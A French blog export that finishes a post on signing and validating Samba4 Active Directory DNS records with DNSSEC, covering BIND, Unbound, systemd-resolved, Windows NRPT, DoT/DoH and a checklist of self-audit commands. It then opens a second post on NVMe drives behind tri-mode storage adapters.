d\u0026rsquo;ancrage de confiance local. Pas d\u0026rsquo;île. Pas de clé distribuée à la main. Les données ne quittent jamais le bâtiment, et le chemin de validation est le chemin public ordinaire. Quand vous ajoutez un résolveur, il valide les noms internes correctement sans aucune configuration DNSSEC.\nSoyons droits sur le compromis, parce qu\u0026rsquo;il y en a un. Publier une délégation et un DS dans la zone publique veut dire que l\u0026rsquo;existence de ad.example.com, et les noms de ses serveurs de noms, sont publics. Le contenu ne l\u0026rsquo;est pas, et ne l\u0026rsquo;est jamais — mais vous avez dit au monde que la zone existe. En échange, chaque résolveur que vous possédez valide les noms internes contre la vraie racine. C\u0026rsquo;est un bon échange pour la plupart des parcs, et il devrait être délibéré plutôt qu\u0026rsquo;une surprise.\nDeux choses à bien faire à côté :\nGardez la vue interne inénumérable et intransférable. allow-transfer sur les serveurs autoritatifs internes est pour le signeur et vos propres secondaires, rien d\u0026rsquo;autre. Et gardez à l\u0026rsquo;esprit que le déni authentifié NSEC laisse quiconque peut interroger la zone la parcourir de bout en bout ; NSEC3 en relève le coût, mais le vrai contrôle est que les gens de l\u0026rsquo;extérieur ne peuvent pas atteindre les serveurs du tout. Automatisez le DS. Un DS dans le parent qui cesse de correspondre à la clé de l\u0026rsquo;enfant emmène tout le domaine interne en SERVFAIL. CDS/CDNSKEY existent pour que l\u0026rsquo;enfant puisse signaler un changement de clé et que le parent puisse le reprendre sans qu\u0026rsquo;un humain édite un enregistrement pendant une rotation. Si la zone parente est chez un registraire ou un fournisseur qui le supporte, utilisez-le ; sinon, la procédure de rotation a besoin d\u0026rsquo;être écrite avant la première rotation, pas pendant. Faire valider réellement Windows et Linux Tout jusqu\u0026rsquo;ici a porté sur la publication d\u0026rsquo;une zone qui peut être vérifiée. Rien de tout ça ne fait quoi que ce soit tant que quelque chose côté client n\u0026rsquo;insiste pas pour la vérifier. Une zone parfaitement signée et un client qui ne vérifie jamais une signature produisent exactement la même expérience qu\u0026rsquo;une zone non signée, jusqu\u0026rsquo;au jour où non.\nIl n\u0026rsquo;y a que deux endroits où la validation peut avoir lieu, et la différence entre eux est la différence entre un contrôle de sécurité et une suggestion polie.\nValider au résolveur, et faire confiance au bit AD. Le client demande à un résolveur, le résolveur fait la cryptographie, et il rapporte le résultat en posant un bit — AD, données authentifiées — dans la réponse. Le client croit le bit. C\u0026rsquo;est le modèle qu\u0026rsquo;utilise Windows, et il n\u0026rsquo;est aussi fort que le chemin entre le client et le résolveur, parce que tout ce qui peut répondre comme le résolveur peut poser ce bit.\nValider sur le client lui-même. La machine fait tourner son propre résolveur validant, si bien que le « chemin vers le résolveur » est un socket de bouclage à l\u0026rsquo;intérieur de la machine et qu\u0026rsquo;il n\u0026rsquo;y a plus rien à usurper. C\u0026rsquo;est plus fort, et sur Linux c\u0026rsquo;est entièrement réalisable.\nLe défaut, c\u0026rsquo;est rien Avant de configurer quoi que ce soit, il vaut la peine de voir ce qu\u0026rsquo;un poste Linux courant fait à la sortie de la boîte. Voici une machine Fedora 44, systemd 259, intacte :\n$ resolvectl status | head -3 Global Protocols: LLMNR=resolve -mDNS -DNSOverTLS DNSSEC=no/unsupported resolv.conf mode: stub $ grep options /etc/resolv.conf options edns0 trust-ad $ dig +dnssec cloudflare.com A | grep flags ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 Lisez ces trois ensemble, parce qu\u0026rsquo;ils racontent une petite histoire.\nLe stub est configuré avec trust-ad — on lui a dit de croire le bit AD. systemd-resolved rapporte DNSSEC=no/unsupported, donc il ne valide rien lui-même. Et la réponse pour une zone signée revient avec les drapeaux qr rd ra et pas de ad — rien nulle part dans ce chemin n\u0026rsquo;a prétendu avoir validé.\nCe n\u0026rsquo;est pas une mauvaise configuration. C\u0026rsquo;est le défaut. On peut dire à un client de faire confiance à une assertion que rien dans la chaîne ne fait. Rien ne la vérifie. À méditer une minute avant de configurer quoi que ce soit d\u0026rsquo;autre.\nLinux Trois options, par ordre croissant du peu que vous avez à faire confiance au réseau.\n1. systemd-resolved, validant localement. Un drop-in plutôt que d\u0026rsquo;éditer le fichier livré :\n# /etc/systemd/resolved.conf.d/dnssec.conf [Resolve] DNSSEC=yes DNSOverTLS=opportunistic Puis systemctl restart systemd-resolved et confirmez avec resolvectl status que la ligne lit maintenant DNSSEC=yes.\nLe réglage sur lequel être prudent est celui du milieu. DNSSEC=allow-downgrade a l\u0026rsquo;air d\u0026rsquo;un compromis sensé et n\u0026rsquo;est pas un contrôle de sécurité — resolved.conf(5) le dit lui-même :\nNote that this mode makes DNSSEC validation vulnerable to \u0026ldquo;downgrade\u0026rdquo; attacks, where an attacker might be able to trigger a downgrade to non-DNSSEC mode by synthesizing a DNS response that suggests DNSSEC was not supported.\nUn attaquant qui peut forger des réponses est exactement l\u0026rsquo;attaquant que DNSSEC existe pour arrêter, donc un mode qu\u0026rsquo;il peut couper en forgeant une réponse ne vous achète rien contre lui. C\u0026rsquo;est yes ou c\u0026rsquo;est de la décoration.\n2. Un vrai résolveur validant sur l\u0026rsquo;hôte. Le validateur de systemd-resolved est commode plutôt que rigoureux. Là où ça compte, faites tourner Unbound ou BIND sur le bouclage et pointez le stub vers lui :\n# unbound: validate against the root anchor, refuse to be stripped server: module-config: \u0026#34;validator iterator\u0026#34; auto-trust-anchor-file: \u0026#34;/var/lib/unbound/root.key\u0026#34; harden-dnssec-stripped: yes val-permissive-mode: no # the internal zone is reached like any other name — no local anchor needed forward-zone: name: \u0026#34;ad.example.com.\u0026#34; forward-addr: 192.0.2.53 L\u0026rsquo;équivalent BIND est une ligne — dnssec-validation auto; — qui utilise sa copie intégrée du point d\u0026rsquo;ancrage de la racine et gère la rotation pour vous.\n3. À l\u0026rsquo;échelle du parc, sur les résolveurs que vous faites déjà tourner. Ce sont l\u0026rsquo;étape quatre de la pipeline plus haut dans ce billet. La validation a lieu là, les clients font confiance au bit AD, et le saut entre eux est la chose que vous devez protéger — avec DoT, ou avec un réseau au sujet duquel vous êtes prêt à faire cette hypothèse.\nEt notez ce qui n\u0026rsquo;est pas dans aucune de ces configurations : un point d\u0026rsquo;ancrage de confiance pour la zone interne. Parce que ad.example.com est une délégation à l\u0026rsquo;intérieur d\u0026rsquo;une zone publiquement signée, chacune de celles-ci valide les noms internes par la chaîne ordinaire depuis la racine. C\u0026rsquo;est la conception de la section précédente qui se rembourse. L\u0026rsquo;alternative est de pousser un point d\u0026rsquo;ancrage local vers chaque client et résolveur du parc, et de le re-pousser à chaque rotation.\nWindows L\u0026rsquo;important d\u0026rsquo;abord, parce que c\u0026rsquo;est régulièrement mal compris : le client DNS de Windows ne valide pas DNSSEC. Il ne fait aucune cryptographie, ne vérifie aucune signature, et ne détient aucun point d\u0026rsquo;ancrage de confiance. C\u0026rsquo;est un résolveur stub, et il l\u0026rsquo;a toujours été.\nCe que vous pouvez faire est le forcer à refuser les réponses qui n\u0026rsquo;ont pas été validées par le serveur en son nom. C\u0026rsquo;est la Name Resolution Policy Table, et elle est par espace de noms plutôt que globale :\n# Require validated answers for the internal zone Add-DnsClientNrptRule -Namespace \u0026#34;.ad.example.com\u0026#34; ` -DnsSecEnable -DnsSecValidationRequired # What is actually in force on this machine, including from Group Policy Get-DnsClientNrptPolicy -Effective Get-DnsClientNrptRule Pour le parc, la même chose vit dans la stratégie de groupe sous Configuration ordinateur → Stratégies → Paramètres Windows → Stratégie de résolution de noms : créez une règle pour l\u0026rsquo;espace de noms, cochez l\u0026rsquo;option DNSSEC, et cochez l\u0026rsquo;exigence que le client vérifie que les données ont été validées par le serveur DNS.\nDeux choses en découlent, et les deux comptent.\nQuelque chose en amont doit encore faire la validation. La règle NRPT fait que le client exige le bit AD ; elle n\u0026rsquo;en crée pas. Le résolveur vers lequel ces clients pointent doit être un résolveur validant, sinon chaque nom de cet espace de noms échoue.\nEt c\u0026rsquo;est pourquoi la règle NRPT a des options IPsec à côté d\u0026rsquo;elle. Microsoft les a mises là pour la raison exposée en haut de cette section : exiger un bit que n\u0026rsquo;importe quel attaquant sur le chemin peut poser n\u0026rsquo;est pas une bien grande exigence. Si vous vous reposez sur le modèle résolveur-valide sur un réseau non fiable, le dernier saut a besoin d\u0026rsquo;être protégé — IPsec entre client et résolveur, ou DoT là où le résolveur le supporte.\nÇa échoue fermé, alors déployez-le dans cet ordre Forcer la validation convertit une classe de compromission silencieuse en une classe de panne bruyante. C\u0026rsquo;est le bon compromis, et c\u0026rsquo;est quand même une panne : un RRSIG expiré, un DS dans le parent qui ne correspond plus après une rotation, ou un résolveur qui ne peut pas atteindre la zone parente produisent tous un SERVFAIL, et un SERVFAIL pour _ldap._tcp.dc._msdcs veut dire que le domaine est en panne plutôt que dégradé.\nAlors faites-le dans cet ordre :\nActivez la validation sur les résolveurs d\u0026rsquo;abord, et laissez les clients tranquilles. Guettez les SERVFAIL dans les journaux des résolveurs pendant quelques semaines — c\u0026rsquo;est là que vous trouvez la zone qui est cassée en silence depuis un an. Automatisez le DS avant de forcer quoi que ce soit, comme dans la section précédente. La plupart des pannes DNSSEC auto-infligées sont une rotation où le parent n\u0026rsquo;a jamais été mis à jour. Puis forcez les clients, un espace de noms à la fois, en commençant par votre propre poste et une OU de test plutôt que tout le parc. La défaillance contre laquelle vous vous protégez est un client à qui on remet un contrôleur de domaine forgé. La défaillance que vous risquez est un client à qui on ne remet rien du tout. La seconde est récupérable et évidente ; la première n\u0026rsquo;est ni l\u0026rsquo;une ni l\u0026rsquo;autre. Vous entendrez parler de la panne en une minute. Vous n\u0026rsquo;auriez jamais entendu parler de l\u0026rsquo;autre du tout.\nChiffrer le dernier saut : DoT et DoH sur les résolveurs internes La section validation a laissé une chose en suspens. Dans le modèle résolveur-valide — celui que Windows vous donne — le client fait confiance à un seul bit posé par le résolveur, et ce bit ne vaut que le chemin qu\u0026rsquo;il a parcouru. Quelque chose doit protéger ce chemin.\nBIND supporte bien les deux transports chiffrés nativement, donc c\u0026rsquo;est un travail de configuration plutôt que d\u0026rsquo;achat :\nDNS over TLS — un bloc tls référencé depuis listen-on, conventionnellement sur le port 853. DNS over HTTPS — le même bloc tls plus un bloc http, sur le 443. DoT sortant, parce que forwarders prend un transport TLS par adresse ou pour toute la liste. Transferts de zone sur TLS, parce que l\u0026rsquo;instruction primaries d\u0026rsquo;une zone type secondary en prend un aussi — ce qui est directement utile à la pipeline plus haut dans ce billet. D\u0026rsquo;abord, soyez clair sur ce que ça achète, parce que DoT et DNSSEC sont confondus sans cesse et ne sont pas des alternatives. DNSSEC authentifie les données, jusqu\u0026rsquo;à la zone qui les a publiées. DoT protège la conversation avec le résolveur. L\u0026rsquo;un survit à un résolveur hostile et à un réseau hostile entre résolveurs ; l\u0026rsquo;autre empêche la machine sur votre wifi de lire et de réécrire ce que votre portable a demandé. Vous voulez les deux, et aucun ne remplace l\u0026rsquo;autre. Chiffrer le saut vers un résolveur qui ne valide pas est une conversation privée avec quelque chose à qui on peut encore mentir.\nLe servir tls internal-resolver { key-file \u0026#34;/etc/pki/dns/resolver.key\u0026#34;; cert-file \u0026#34;/etc/pki/dns/resolver.pem\u0026#34;; protocols { TLSv1.3; }; }; http internal-doh { endpoints { \u0026#34;/dns-query\u0026#34;; }; }; options { dnssec-validation auto; listen-on port 53 { 192.0.2.53; }; listen-on port 853 tls internal-resolver { 192.0.2.53; }; listen-on port 443 tls internal-resolver http internal-doh { 192.0.2.53; }; listen-on-v6 port 853 tls internal-resolver { 2001:db8::53; }; }; Le certificat est le vrai travail, et c\u0026rsquo;est la partie qu\u0026rsquo;on saute. Un client qui vérifie — ce qui est tout le propos — a besoin d\u0026rsquo;un certificat valide pour le nom avec lequel il a été configuré, émis par quelque chose auquel il fait déjà confiance. Ça veut dire votre CA interne et votre automatisation de certificats existante, pas le mot-clé ephemeral. ephemeral génère un certificat auto-signé jetable ; il est là pour que vous puissiez prouver que l\u0026rsquo;écouteur marche, et il est sans valeur pour tout client qui vérifie vraiment.\nLe transiter par-dessus Si ces résolveurs transitent quelque part plutôt que de parcourir l\u0026rsquo;arbre eux-mêmes, le saut amont peut être chiffré lui aussi — et il y a ici une distinction à bien faire :\ntls upstream { ca-file \u0026#34;/etc/pki/tls/certs/ca-bundle.crt\u0026#34;; remote-hostname \u0026#34;dns.example.net\u0026#34;; }; options { forwarders port 853 tls upstream { 192.0.2.1; }; }; Sans remote-hostname, vous obtenez du chiffrement sans authentification : le trafic est illisible pour un observateur passif, et un attaquant actif qui peut intercepter la connexion présente simplement son propre certificat. Avec remote-hostname et ca-file, BIND vérifie à qui il parle. Le premier vaut quelque chose. Seul le second vaut d\u0026rsquo;être appelé un contrôle.\nLa moitié client n\u0026rsquo;est pas symétrique C\u0026rsquo;est là qu\u0026rsquo;un parc mixte devient délicat, et c\u0026rsquo;est la raison de configurer les deux transports plutôt que d\u0026rsquo;en choisir un.\nLinux fait le DoT correctement. systemd-resolved prend DNSOverTLS=yes pour le mode strict, et on peut donner au serveur le nom à vérifier :\n[Resolve] DNS=192.0.2.53#resolver.ad.example.com DNSOverTLS=yes DNSSEC=yes Comme pour DNSSEC=, le réglage du milieu est le piège : DNSOverTLS=opportunistic se rabat sur le clair quand le TLS est indisponible, ce qu\u0026rsquo;un attaquant capable d\u0026rsquo;interférer avec la connexion peut arranger.\nWindows fait le DoH, et pas le DoT. Le support client DoH est arrivé dans Windows 11 et Server 2022, configuré par serveur avec un modèle :\n$doh = \u0026#34;https://resolver.ad.example.com/dns-query\u0026#34; netsh dnsclient add encryption server=192.0.2.53 dohtemplate=$doh Le DoT, au moment où j\u0026rsquo;écris, n\u0026rsquo;est apparu que dans des builds Insider. Donc sur un Windows publié l\u0026rsquo;option chiffrée est le DoH ou rien, ce qui est justement pourquoi la section NRPT plus haut s\u0026rsquo;est tournée vers IPsec.\nD\u0026rsquo;où le service des deux depuis la même instance BIND. DoT pour la flotte Linux et tout ce qui le parle, DoH pour Windows, un résolveur, un certificat.\nLequel, où Pour un résolveur interne, le DoT est le meilleur transport et le DoH est la réponse de compatibilité.\nLe DoT est sur son propre port. Vous pouvez le voir, l\u0026rsquo;autoriser, le refuser, et alerter sur tout ce qui fait du DNS sans le faire ainsi. L\u0026rsquo;avantage du DoH — indiscernable du trafic web ordinaire sur le 443 — est un vrai bénéfice sur un réseau hostile et une nuisance sur le vôtre, où pouvoir dire ce qui est du DNS est une fonction que vous avez payée. Sur le parc que vous contrôlez, préférez le transport que vous pouvez observer, et faites tourner le DoH parce que Windows ne vous laisse pas le choix plutôt que parce qu\u0026rsquo;il est meilleur.\nTant que vous y êtes : chiffrez les transferts La pipeline plus haut dans ce billet déplace la zone AD par AXFR, et la section vues séparées a fait le point que son contenu est une carte du parc. TSIG authentifie ces transferts ; il ne les cache pas. Puisque l\u0026rsquo;instruction primaries d\u0026rsquo;un secondaire accepte une configuration TLS, le transfert peut tourner sur TLS lui aussi — RFC 9103 si vous voulez la norme :\nzone \u0026#34;ad.example.com\u0026#34; { type secondary; primaries { 192.0.2.10 port 853 tls xfr-tls key transfer-to-signer; }; ... }; Authentifié par la clé, chiffré par le transport. Si un saut de cette pipeline traverse un lien de site, un hyperviseur que vous partagez, ou quoi que ce soit sur quoi vous ne poseriez pas volontiers un hub, ça vaut les vingt minutes.\nCe que ça ne corrige pas Ce n\u0026rsquo;est pas de la validation. Couvert plus haut, et à répéter parce que les éditeurs vendent du « DNS sécurisé » en voulant dire le chiffrement seul. Ça ne cache rien au résolveur. Le résolveur voit chaque requête en entier. Le chiffrement protège le chemin, pas la confidentialité de la recherche vis-à-vis de l\u0026rsquo;exploitant — ce qui va bien quand l\u0026rsquo;exploitant, c\u0026rsquo;est vous. Ça ne fait rien pour un client qui ne vérifie pas le certificat, et les modes opportunistes sont rétrogradables par exactement l\u0026rsquo;attaquant qui vous inquiète. Et ce n\u0026rsquo;est pas une raison de poser un écouteur sur le contrôleur de domaine. Du DNS chiffré sur le DC résoudrait le mauvais problème magnifiquement. Le DC ne répond toujours à personne. Comment vérifier ce que vous avez Des commandes à lancer contre votre propre parc. Les sorties sont la partie intéressante, et une ou deux tendent à être une lecture inconfortable la première fois.\n# Walk the tree yourself, one delegation at a time dig +trace dc01.ad.example.com # Validate, and show the chain being built delv +rtrace +vtrace ad.example.com SOA # Is the resolver you are pointed at actually validating? # A deliberately broken test name must come back SERVFAIL, not an address dig @\u0026lt;resolver\u0026gt; dnssec-failed.org A # What does the estate advertise as a domain controller? dig SRV _ldap._tcp.dc._msdcs.\u0026lt;domain\u0026gt; dig SRV _kerberos._udp.\u0026lt;domain\u0026gt; # Is a DC answering for names it has no business answering? # Ask it for something it is not authoritative for. \u0026#34;recursion requested # but not available\u0026#34; is the answer you want. An actual address means it is # serving the estate — recursing if it is BIND, relaying to the forwarder # if it is SAMBA_INTERNAL. Either way it should not be doing that. dig @\u0026lt;dc\u0026gt; www.example.org A # Is the DC configured as the estate\u0026#39;s DNS relay? grep -E \u0026#39;dns forwarder|server services\u0026#39; /etc/samba/smb.conf # Will a DC hand its zone to anybody who asks? dig @\u0026lt;dc\u0026gt; AXFR ad.example.com # Which backend is this DC running, and does named have the module? grep -r dlz /etc/named.conf /var/lib/samba/bind-dns/ 2\u0026gt;/dev/null samba-tool dns query \u0026lt;dc\u0026gt; \u0026lt;domain\u0026gt; @ ALL # Is the internal zone chained to the public parent? dig DS ad.example.com @\u0026lt;public-authoritative-for-example.com\u0026gt; # What does the local stub actually do with the AD bit, and is the # hop to the resolver encrypted? resolvectl status # DNSSEC= and DNSOverTLS= per link grep options /etc/resolv.conf # trust-ad, trusting whom exactly? # Did anything in the path claim to have validated? Look for \u0026#34;ad\u0026#34; in the flags dig +dnssec ad.example.com SOA | grep flags # Validate independently of whatever the local resolver believes delv ad.example.com SOA # \u0026#34;fully validated\u0026#34; is the line you want # Is the resolver actually listening for DoT, and does its certificate # match the name clients are configured with? kdig +tls @192.0.2.53 ad.example.com SOA openssl s_client -connect 192.0.2.53:853 \\ -servername resolver.ad.example.com \u0026lt;/dev/null 2\u0026gt;/dev/null \\ | openssl x509 -noout -subject -dates Et sur un client Windows, pour voir s\u0026rsquo;il exige quoi que ce soit :\nGet-DnsClientNrptPolicy -Effective # the rules actually in force Resolve-DnsName ad.example.com -DnssecOk Get-DnsClientDohServerAddress # is the hop to the resolver encrypted? Les deux qui produisent le plus souvent une surprise sont la vérification de récursion et la tentative d\u0026rsquo;AXFR. Si un DC répond à l\u0026rsquo;une ou l\u0026rsquo;autre pour un client arbitraire, la pipeline de ce billet n\u0026rsquo;est pas en place, quoi que dise le diagramme sur le wiki.\nLa troisième est resolvectl status sur une machine que personne n\u0026rsquo;a touchée. DNSSEC=no/unsupported à côté de trust-ad dans resolv.conf est l\u0026rsquo;état normal d\u0026rsquo;un poste Linux, et ça veut dire que le travail de signature décrit ci-dessus est actuellement vérifié par personne.\nLa version courte Un résolveur naît en connaissant les serveurs racine et une clé, et apprend tout le reste en se faisant dire. Les noms sont trouvés en descendant des délégations, et les services sont trouvés en demandant un enregistrement SRV — donc au moment où un client se met à faire du Kerberos avec un contrôleur de domaine, l\u0026rsquo;identité de ce contrôleur de domaine est venue d\u0026rsquo;une réponse DNS. La découverte par DNS est correcte et va bien. L\u0026rsquo;autorisation par DNS ne l\u0026rsquo;est pas, et une quantité surprenante d\u0026rsquo;infrastructure le fait discrètement quand même.\nDNSSEC est ce qui rend ces réponses vérifiables : des signatures sur chaque ensemble, un DS dans chaque parent, une chaîne jusqu\u0026rsquo;à un seul point d\u0026rsquo;ancrage de confiance à la racine, et un déni authentifié pour qu\u0026rsquo;un nom ne puisse pas être fait disparaître. Il achète l\u0026rsquo;authentification d\u0026rsquo;origine et l\u0026rsquo;intégrité — pas la confidentialité, et pas la justesse. Il signe tout ce que la zone dit, ce qui est pourquoi il ne peut pas sauver une zone que des machines non fiables ont le droit d\u0026rsquo;écrire. Et il a besoin d\u0026rsquo;un parent : une TLD interne inventée n\u0026rsquo;a nulle part où mettre un DS, donc .local, .lan, .internal et home.arpa vous laissent tous soit non signés soit à faire tourner une île privée de clés distribuées à la main.\nPour un domaine Active Directory, ça produit une conception plutôt qu\u0026rsquo;une liste de réglages. Utilisez une délégation à l\u0026rsquo;intérieur d\u0026rsquo;une zone publique que vous possédez, pour que la confiance descende par la chaîne ordinaire depuis la racine pendant que les données ne quittent jamais le bâtiment. Servez les partitions AD avec BIND et dlz_bind9 — DLZ n\u0026rsquo;est pas le risque, c\u0026rsquo;est ainsi que vous sortez la zone de l\u0026rsquo;annuaire — et laissez le DC être un primaire caché qui transfère vers l\u0026rsquo;extérieur et ne répond à personne d\u0026rsquo;autre. Une zone DLZ ne peut pas être signée elle-même, donc la signature est une zone secondaire normale qui détient la copie transférée, avec inline-signing et une dnssec-policy dessus : un second named sur le DC si vous voulez moins de machines, un hôte séparé si vous voulez les clés privées hors de l\u0026rsquo;annuaire. Dans les deux cas elle est signée une fois, à un point défini, sous une politique de clés — et le premier saut est un sondage plutôt qu\u0026rsquo;une poussée, parce que DLZ ne peut pas envoyer de notify. Publiez depuis des serveurs autoritatifs autonomes qui ne détiennent aucune clé et n\u0026rsquo;ont aucune route vers l\u0026rsquo;annuaire.\nEt gardez les clients hors de la zone qui compte. La mise à jour dynamique sécurisée authentifie le rédacteur, pas le sens, et dans une zone intégrée à AD par défaut les rédacteurs sont les Utilisateurs authentifiés — chaque compte, pas seulement chaque machine — donc une zone qui détient à la fois les enregistrements des portables et les locators _msdcs est à un utilisateur hameçonné d\u0026rsquo;un client à qui on dit, avec une signature parfaitement valide, que le contrôleur de domaine est ailleurs. Les enregistrements des clients appartiennent à une sous-zone, déléguée vers l\u0026rsquo;extérieur ou séparée dans Samba, où le pire qu\u0026rsquo;un compte compromis puisse faire est de mentir sur lui-même.\nBien que la meilleure question soit de savoir si les clients devraient s\u0026rsquo;enregistrer tout court. Un portable de 2026 a une adresse sur le wifi de la maison, une autre sur le sans-fil du bureau, une autre par la station d\u0026rsquo;accueil et une autre sur le VPN, et il publiera joyeusement la plupart d\u0026rsquo;entre elles. Ce qui consomme l\u0026rsquo;enregistrement A d\u0026rsquo;un portable n\u0026rsquo;est presque rien — les outils qui ont besoin d\u0026rsquo;atteindre un poste gardent leur propre inventaire, parce que le DNS n\u0026rsquo;a de toute façon jamais été fiable pour les clients mobiles. Les enregistrements des serveurs devraient venir du provisionnement, et la flotte ne devrait rien enregistrer.\nPuis faites en sorte que quelque chose vérifie les signatures, parce que rien de ce qui précède ne vaut quoi que ce soit tant qu\u0026rsquo;un client ne refuse pas une réponse. Sur Linux ça veut dire DNSSEC=yes dans systemd-resolved, ou un vrai résolveur validant sur le bouclage — jamais allow-downgrade, qu\u0026rsquo;un attaquant capable de forger des réponses peut simplement couper en forgeant une réponse. Sur Windows ça veut dire accepter que le client DNS ne valide jamais rien lui-même, et utiliser une règle NRPT pour le faire exiger une réponse que le résolveur a validée, avec le dernier saut protégé parce que cette exigence est un seul bit. Activez-le sur les résolveurs d\u0026rsquo;abord et guettez les SERVFAIL, automatisez le DS, puis forcez les clients. Ça échoue fermé, ce qui est le bon sens et quand même une panne.\nRien de tout ça n\u0026rsquo;est exotique. C\u0026rsquo;est de la délégation, du transfert et de la signature — les trois choses que le DNS a toujours faites — arrangées pour que la machine qui détient votre annuaire ne soit pas la machine qui prend les questions du parking, et pour que quand quelque chose ment bien à un client, le client le remarque.\n","permalink":"https://blogs.damiendye.uk/fr/dns/samba4-securing-ad-records-with-dnssec/","summary":"Chaque machine jointe au domaine trouve son contrôleur de domaine en demandant à DNS un enregistrement SRV, donc les locators _msdcs sont les enregistrements les plus critiques pour la sécurité que vous possédiez. Voici comment les publier et les signer correctement depuis un DC Samba4 : BIND avec dlz_bind9 qui lit l\u0026rsquo;annuaire, signature en ligne, un primaire caché que les clients n\u0026rsquo;atteignent jamais, et les mises à jour dynamiques des clients tenues hors de la zone qui porte les locators. Puis comment forcer les clients Windows et Linux à vérifier réellement les signatures, parce qu\u0026rsquo;une zone signée que personne ne valide se comporte exactement comme une zone non signée.","title":"Samba4 et la sécurisation des enregistrements AD avec DNSSEC"},{"content":"La baie qui accepte tout L\u0026rsquo;argumentaire de l\u0026rsquo;adaptateur tri-mode est franchement bon, et il mérite d\u0026rsquo;être posé correctement avant d\u0026rsquo;être démonté.\nAchetez un châssis avec un fond de panier U.3 et un contrôleur tri-mode, et chaque baie de disque devient universelle. L\u0026rsquo;emplacement 0 peut accueillir un disque SAS 24G, l\u0026rsquo;emplacement 1 un SATA d\u0026rsquo;amorçage bon marché, l\u0026rsquo;emplacement 2 un SSD NVMe Gen4, et l\u0026rsquo;adaptateur négocie avec ce qui se présente. Broadcom appelle le silicium Tri-Mode SerDes ; le standard de baie est SFF-TA-1001, connu sous le nom d\u0026rsquo;U.3, qui définit un connecteur commun pour le SAS x1/x2, le SATA et le NVMe en x1, x2 ou x4. Côté gestion, c\u0026rsquo;est SFF-TA-1005, Universal Backplane Management, par lequel l\u0026rsquo;enceinte détermine à quoi elle parle réellement et pilote les bonnes LED d\u0026rsquo;activité.\nPour qui spécifie des serveurs, ça résout un problème réel et agaçant. Vous n\u0026rsquo;avez plus à décider du protocole de stockage au moment du bon de commande, ni à garder deux références de châssis, ni à découvrir que les baies capables de NVMe sont les quatre de gauche et que vos disques sont partis dans les vingt autres. Une seule référence couvre le parc, et un parc SAS peut passer au NVMe un disque à la fois plutôt qu\u0026rsquo;un châssis à la fois.\nRien de tout ça n\u0026rsquo;est du marketing. C\u0026rsquo;est la raison pour laquelle ces adaptateurs se vendent, et il serait bête de prétendre le contraire.\nMais la souplesse n\u0026rsquo;est pas gratuite, et la facture ne se paie pas en livres. Elle se paie en files.\nCe qui arrive vraiment au disque Un SSD NVMe est un point terminal PCIe. Dans un serveur en attachement direct, ses quatre lignes vont au root complex du CPU — à travers un retimer ou un switch PCIe, mais électriquement et logiquement c\u0026rsquo;est un équipement sur le bus PCIe. Le noyau l\u0026rsquo;énumère, attache le pilote nvme, et à partir de là le pilote parle directement aux registres du disque.\nMettez le même disque derrière un adaptateur tri-mode et ce n\u0026rsquo;est plus vrai.\nLes lignes du disque se terminent maintenant au contrôleur. La documentation de Broadcom appelle le bloc concerné le PCIe device bridge, et le mot pont travaille beaucoup : ce n\u0026rsquo;est pas un switch transparent qui transmet les transactions de votre CPU à un disque qu\u0026rsquo;il verrait encore. L\u0026rsquo;adaptateur est le point terminal PCIe que votre hôte énumère. Le disque est une cible accrochée de l\u0026rsquo;autre côté, et le firmware du contrôleur réémet chaque I/O.\nDu NVMe en attachement direct face aux mêmes disques derrière un adaptateur tri-mode Attachement direct Derrière un adaptateur tri-mode root complex du CPU root complex du CPU x4 x4 x4 x4 quatre liens indépendants environ 7 Go/s chacun, en parallèle x8 Gen4 tout ce qui est en dessous partage ça Contrôleur tri-mode le seul point terminal PCIe que l'hôte énumère NVMe NVMe NVMe NVMe nvme0n1 nvme1n1 nvme2n1 nvme3n1 NVMe NVMe NVMe NVMe sda sdb sdc sdd pilote nvme une paire de files par cœur CPU, par disque la bande passante croît avec les disques pilote mpt3sas \u0026#8212; les disques sont des cibles SCSI profondeur 128 chacun, une réserve de tags pour tous la bande passante s'arrête à l'adaptateur Les quatre mêmes disques, câblés de deux façons. À gauche, chaque disque possède quatre lignes vers le root complex. À droite, les lignes s\u0026rsquo;arrêtent à l\u0026rsquo;adaptateur, et tout ce qui est en aval partage un seul lien montant x8 et un seul contrôleur. L\u0026rsquo;adaptateur ne fait donc pas passer vos commandes NVMe. Il les termine, et parle au disque en votre nom.\nCe qui pose la question du protocole qu\u0026rsquo;il parle, lui, à vous.\nLe système d\u0026rsquo;exploitation ne voit jamais de disque NVMe Il parle SCSI.\nBranchez un SSD NVMe sur un HBA tri-mode Broadcom et il n\u0026rsquo;apparaît pas en /dev/nvme0n1. Il apparaît en /dev/sdb, attaché à mpt3sas — le même pilote qui fait tourner les contrôleurs LSI SAS depuis plus d\u0026rsquo;une décennie. nvme list ne renvoie rien. lsblk -o NAME,TRAN rapporte le transport comme sas. Pour toutes les couches de la pile de stockage au-dessus du pilote, vous avez acheté un disque SAS.\nCe n\u0026rsquo;est pas un bug ni une limite de firmware en attente de correction. C\u0026rsquo;est le montage voulu. Présenter tout comme une cible SCSI est exactement la façon dont un adaptateur sert trois protocoles : le contrôleur normalise le SAS, le SATA et le NVMe en un seul modèle d\u0026rsquo;équipement, et l\u0026rsquo;hôte obtient un pilote, un chemin d\u0026rsquo;énumération, un jeu d\u0026rsquo;outils. La souplesse du marketing et la présentation SCSI dans dmesg sont la même décision d\u0026rsquo;architecture vue par les deux bouts.\nLes générations 9500 et 9600 ajoutent bien un mécanisme de passthrough pour que l\u0026rsquo;outillage du fabricant atteigne les commandes d\u0026rsquo;administration NVMe d\u0026rsquo;un disque, et les pièces récentes de Broadcom exposent bien mieux la santé des disques que ne le faisait la 9400. Mais c\u0026rsquo;est un canal latéral de gestion. Le chemin de données — chaque lecture et chaque écriture que votre charge de travail émet — passe toujours par la pile SCSI.\nEt la pile SCSI a un modèle de files qui précède la flash de vingt ans.\nLe modèle de files que vous venez d\u0026rsquo;abandonner C\u0026rsquo;est la partie qui vous coûte vraiment de la performance, et elle mérite de la précision, parce que « le NVMe est plus rapide que le SAS » n\u0026rsquo;en est pas la raison.\nLa décision centrale de conception du NVMe n\u0026rsquo;était pas un fil plus rapide. C\u0026rsquo;était d\u0026rsquo;arrêter de faire comme si un équipement de stockage était une chose unique et sérialisée.\nLa spécification autorise jusqu\u0026rsquo;à 65 535 paires de files d\u0026rsquo;I/O, et ce chiffre est cité dans toutes les vulgarisations NVMe qui existent. C\u0026rsquo;est le mauvais nombre à saisir. Aucun disque n\u0026rsquo;en implémente quoi que ce soit 